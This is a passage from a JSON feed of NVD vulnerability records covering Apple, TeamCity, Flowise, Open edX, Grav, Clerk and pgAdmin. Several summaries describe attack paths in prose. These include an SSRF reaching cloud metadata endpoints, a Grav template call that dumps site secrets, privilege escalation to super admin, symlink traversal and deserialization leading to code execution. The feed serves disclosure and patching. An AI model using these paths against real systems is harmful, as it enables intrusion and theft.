18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A remote attacker may be able to cause unexpected app termination.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:51.410Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28846","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28846","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28846","type":"primary","publishedAt":"2026-05-11T21:18:51.410Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28840","cveId":"CVE-2026-28840","aliases":[],"kind":"vulnerability","title":"A permissions issue was addressed with additional restrictions.","summary":"A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.4. An app may be able to gain root privileges.","detail":"A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.4. An app may be able to gain root privileges.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:51.307Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"macos","stacks":["Apple macOS","macos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28840","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28840","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28840","type":"primary","publishedAt":"2026-05-11T21:18:51.307Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/126794","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44413","cveId":"CVE-2026-44413","aliases":[],"kind":"vulnerability","title":"In JetBrains TeamCity before 2026.1\n2025.11.5 authenticated users could expose server API to unauthorised access","summary":"In JetBrains TeamCity before 2026.1\n2025.11.5 authenticated users could expose server API to unauthorised access","detail":"In JetBrains TeamCity before 2026.1\n2025.11.5 authenticated users could expose server API to unauthorised access\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T18:16:38.053Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"jetbrains","product":"teamcity","stacks":["JetBrains TeamCity","teamcity"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44413","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44413","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44413","type":"primary","publishedAt":"2026-05-11T18:16:38.053Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.jetbrains.com/privacy-security/issues-fixed/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43995","cveId":"CVE-2026-43995","aliases":[],"kind":"vulnerability","title":"Flowise is a drag & drop user interface to build a customized large language model flow.","summary":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, multiple tool implementations directly import and invoke raw HTTP clients (node-fetch, axios) instead of using the secured wrapper. These tools include (1) OpenAPIToolkit/OpenAPIToolkit.ts, (2) WebScraperTool/WebScraperTool.ts, (3) MCP/core.ts, and (4) Arxiv/core.ts. This vulnerability is fixed in 3.1.0.","detail":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, multiple tool implementations directly import and invoke raw HTTP clients (node-fetch, axios) instead of using the secured wrapper. These tools include (1) OpenAPIToolkit/OpenAPIToolkit.ts, (2) WebScraperTool/WebScraperTool.ts, (3) MCP/core.ts, and (4) Arxiv/core.ts. This vulnerability is fixed in 3.1.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T18:16:37.660Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"flowiseai","product":"flowise","stacks":["Flowiseai","flowise"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43995","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43995","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43995","type":"primary","publishedAt":"2026-05-11T18:16:37.660Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-qqvm-66q4-vf5c","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42860","cveId":"CVE-2026-42860","aliases":[],"kind":"vulnerability","title":"The Open edx Enterprise Service app provides enterprise features to the Open edX platform.","summary":"The Open edx Enterprise Service app provides enterprise features to the Open edX platform. From 7.0.2 to 7.0.4, the sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout. This vulnerability is fixed in 7.0.5.","detail":"The Open edx Enterprise Service app provides enterprise features to the Open edX platform. From 7.0.2 to 7.0.4, the sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout. This vulnerability is fixed in 7.0.5.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T18:16:36.547Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"openedx","product":"edx-enterprise","stacks":["Openedx","edx-enterprise"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42860","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42860","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42860","type":"primary","publishedAt":"2026-05-11T18:16:36.547Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/openedx/edx-enterprise/security/advisories/GHSA-64cv-vxpr-j6vc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42858","cveId":"CVE-2026-42858","aliases":[],"kind":"vulnerability","title":"Open edX Platform enables the authoring and delivery of online learning at any scale.","summary":"Open edX Platform enables the authoring and delivery of online learning at any scale. The sync_provider_data endpoint in SAMLProviderDataViewSet allows authenticated Enterprise Admin users to supply an arbitrary URL via the metadata_url POST parameter. This URL is passed directly to requests.get() in fetch_metadata_xml() without any URL validation, IP filtering, or scheme enforcement. An attacker with Enterprise Admin privileges can force the server to make HTTP requests to internal network services, cloud metadata endpoints (e.g., AWS 169.254.169.254), or other attacker-controlled destinations. This vulnerability is fixed by commit 6fda1f120ff5a590d120ae1180185525f399c6d0 and 70a56246dd9c9df57c596e64bdd8a11b1d9da054.","detail":"Open edX Platform enables the authoring and delivery of online learning at any scale. The sync_provider_data endpoint in SAMLProviderDataViewSet allows authenticated Enterprise Admin users to supply an arbitrary URL via the metadata_url POST parameter. This URL is passed directly to requests.get() in fetch_metadata_xml() without any URL validation, IP filtering, or scheme enforcement. An attacker with Enterprise Admin privileges can force the server to make HTTP requests to internal network services, cloud metadata endpoints (e.g., AWS 169.254.169.254), or other attacker-controlled destinations. This vulnerability is fixed by commit 6fda1f120ff5a590d120ae1180185525f399c6d0 and 70a56246dd9c9df57c596e64bdd8a11b1d9da054.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T18:16:36.263Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"openedx","product":"openedx","stacks":["Openedx","openedx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42858","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42858","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42858","type":"primary","publishedAt":"2026-05-11T18:16:36.263Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44738","cveId":"CVE-2026-44738","aliases":[],"kind":"vulnerability","title":"Grav is a file-based Web platform.","summary":"Grav is a file-based Web platform. Prior to 2.0.0-rc.2, the Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. This vulnerability is fixed in 2.0.0-rc.2.","detail":"Grav is a file-based Web platform. Prior to 2.0.0-rc.2, the Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. This vulnerability is fixed in 2.0.0-rc.2.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T17:16:34.747Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"getgrav","product":"grav","stacks":["Getgrav","grav"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44738","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44738","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44738","type":"primary","publishedAt":"2026-05-11T17:16:34.747Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/getgrav/grav/security/advisories/GHSA-j274-39qw-32c9","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42843","cveId":"CVE-2026-42843","aliases":[],"kind":"vulnerability","title":"Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content, media, configuration, users, and system management.","summary":"Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content, media, configuration, users, and system management. Prior to 1.0.0-beta.15, an insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE. This vulnerability is fixed in 1.0.0-beta.15.","detail":"Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content, media, configuration, users, and system management. Prior to 1.0.0-beta.15, an insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE. This vulnerability is fixed in 1.0.0-beta.15.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T17:16:34.013Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"getgrav","product":"grav-plugin-api","stacks":["Getgrav","grav-plugin-api"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42843","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42843","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42843","type":"primary","publishedAt":"2026-05-11T17:16:34.013Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42349","cveId":"CVE-2026-42349","aliases":[],"kind":"vulnerability","title":"Clerk JavaScript is the official JavaScript repository for Clerk authentication.","summary":"Clerk JavaScript is the official JavaScript repository for Clerk authentication. has(), auth.protect(), and related authorization predicates in @clerk/shared, @clerk/nextjs, @clerk/backend, and other framework SDKs can return true for certain combined authorization checks when the result should be false, allowing a gated action to proceed for a user who does not satisfy the full set of requested conditions. This call shape can be bypassed if certain conditions are met: a has() or auth.protect() call that combines a reverification check with any of role, permission, feature, or plan, or that combines a billing check (feature or plan) with a role or permission check. This vulnerability is fixed in  @clerk/clerk-js 5.125.10 and 6.7.5.","detail":"Clerk JavaScript is the official JavaScript repository for Clerk authentication. has(), auth.protect(), and related authorization predicates in @clerk/shared, @clerk/nextjs, @clerk/backend, and other framework SDKs can return true for certain combined authorization checks when the result should be false, allowing a gated action to proceed for a user who does not satisfy the full set of requested conditions. This call shape can be bypassed if certain conditions are met: a has() or auth.protect() call that combines a reverification check with any of role, permission, feature, or plan, or that combines a billing check (feature or plan) with a role or permission check. This vulnerability is fixed in  @clerk/clerk-js 5.125.10 and 6.7.5.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T17:16:33.147Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"clerk","product":"clerk\\/astro","stacks":["Clerk","clerk\\/astro"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42349","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42349","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42349","type":"primary","publishedAt":"2026-05-11T17:16:33.147Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/clerk/javascript/security/advisories/GHSA-w24r-5266-9c3c","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7819","cveId":"CVE-2026-7819","aliases":[],"kind":"vulnerability","title":"Symbolic-link path traversal (CWE-61, CWE-22) in pgAdmin 4 File Manager.","summary":"Symbolic-link path traversal (CWE-61, CWE-22) in pgAdmin 4 File Manager.\n\ncheck_access_permission used os.path.abspath, which resolves '..' but does not resolve symbolic links, while the subsequent kernel write follows symlinks. An authenticated user could plant a symbolic link inside their own storage directory pointing outside it and induce pgAdmin to write to any path reachable by the pgAdmin process.\n\nFix switches the access check to os.path.realpath for both source and destination, and adds an _open_upload_target helper that opens the target with O_NOFOLLOW (mode 0o600) to close the leaf-component TOCTOU between the access check and the open. File mode is hardened from 0o644 to 0o600.\n\nThis issue affects pgAdmin 4: before 9.15.","detail":"Symbolic-link path traversal (CWE-61, CWE-22) in pgAdmin 4 File Manager.\n\ncheck_access_permission used os.path.abspath, which resolves '..' but does not resolve symbolic links, while the subsequent kernel write follows symlinks. An authenticated user could plant a symbolic link inside their own storage directory pointing outside it and induce pgAdmin to write to any path reachable by the pgAdmin process.\n\nFix switches the access check to os.path.realpath for both source and destination, and adds an _open_upload_target helper that opens the target with O_NOFOLLOW (mode 0o600) to close the leaf-component TOCTOU between the access check and the open. File mode is hardened from 0o644 to 0o600.\n\nThis issue affects pgAdmin 4: before 9.15.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:39.113Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"pgadmin","product":"pgadmin 4","stacks":["Pgadmin","pgadmin 4"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7819","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7819","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7819","type":"primary","publishedAt":"2026-05-11T16:17:39.113Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/pgadmin-org/pgadmin4/issues/9902","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7818","cveId":"CVE-2026-7818","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data (CWE-502) in pgAdmin 4 FileBackedSessionManager.","summary":"Deserialization of untrusted data (CWE-502) in pgAdmin 4 FileBackedSessionManager.\n\nThe session manager performed unsafe deserialization of session-file contents (using Python's standard object-serialization module) before performing any HMAC integrity check. Any file dropped into the sessions directory was deserialized unconditionally. An authenticated user with write access to the sessions directory (whether by misconfiguration or in combination with another path-traversal flaw) could plant a crafted serialized payload to achieve operating-system level remote code execution under the pgAdmin process identity.\n\nFix prepends a 64-byte hex SHA-256 HMAC over the session body, computed with SECRET_KEY, and verifies it via hmac.compare_digest before any deserialization. The check is raised (rather than asserted) on empty SECRET_KEY so it is not stripped under -O.\n\nThis issue affects pgAdmin 4: before 9.15.","detail":"Deserialization of untrusted data (CWE-502) in pgAdmin 4 FileBackedSessionManager.\n\nThe session manager performed unsafe deserialization of session-file contents (using Python's standard object-serialization module) before performing any HMAC integrity check. Any file dropped into the sessions directory was deserialized unconditionally. An authenticated user with write access to the sessions directory (whether by misconfiguration or in combination with another path-traversal flaw) could plant a crafted serialized payload to achieve operating-system level remote code execution under the pgAdmin process identity.\n\nFix prepends a 64-byte hex SHA-256 HMAC over the session body, computed with SECRET_KEY, and verifies it via hmac.compare_digest before any deserialization. The check is raised (rather than asserted) on empty SECRET_KEY so it is not stripped under -O.\n\nThis issue affects pgAdmin 4: before 9.15.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:38.847Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"pgadmin","product":"pgadmin 4","stacks":["Pgadmin","pgadmin 4"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7818","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7818","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7818","type":"primary","publishedAt":"2026-05-11T16:17:38.847Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. 